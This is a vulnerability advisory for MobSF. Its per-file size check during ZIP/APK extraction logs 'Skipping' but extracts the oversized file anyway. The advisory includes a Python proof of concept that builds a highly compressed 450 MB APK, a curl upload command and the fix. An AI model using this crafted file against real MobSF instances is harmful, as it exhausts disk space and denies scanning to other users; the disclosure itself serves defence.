PT-2026-80331 · Pypi · Mobsf

Publicado

2026-08-18

·

Atualizado

2026-08-18

CVSS v3.1

4.9

Média

VetorAV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP MAX UNCOMPRESSED FILE SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in shared func.py lines 153–182:
python
# Line 156: Size check
if fileinfo.file size > settings.ZIP MAX UNCOMPRESSED FILE SIZE:
  size mb = fileinfo.file size / (1024 * 1024)
  msg = (f'File too large ({size mb:.2f} MB). Skipping '
      f'{sanitize for logging(file path)}')
  logger.warning(msg)
  # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total size > settings.ZIP MAX UNCOMPRESSED TOTAL SIZE:
  raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is dir():
  continue
else:
  fileinfo.external attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
  zipptr.extract(file path, ext path)  # ← Runs regardless of size check
The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):
python
#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP DEFLATED) as zf:
  zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
  # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
  info = zipfile.ZipInfo('assets/huge.bin')
  info.compress type = zipfile.ZIP DEFLATED
  with zf.open(info, 'w') as f:
    for  in range(450):
      f.write(b'x00' * (1024 * 1024)) # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")
2. Upload via API:
bash
curl -X POST http://127.0.0.1:8000/api/v1/upload 
 -H "X-Mobsf-Api-Key: YOUR KEY" 
 -F "file=@poc.apk"
3. Trigger scan, then verify:
bash
# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin # 450 MB file is there

Why This Is Not a Self-Bug

  • This affects any user who scans a maliciously crafted APK
  • The APK could come from a legitimate-looking package submitted for security review
  • Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
  • Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:
python
if fileinfo.file size > settings.ZIP MAX UNCOMPRESSED FILE SIZE:
  size mb = fileinfo.file size / (1024 * 1024)
  msg = (f'File too large ({size mb:.2f} MB). Skipping '
      f'{sanitize for logging(file path)}')
  logger.warning(msg)
  continue # ← ADD THIS LINE

Correção

Resource Exhaustion

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Enumeração de Fraquezas

CWE-400

Identificadores relacionados

GHSA-X768-8642-MMQ9

Produtos afetados

Mobsf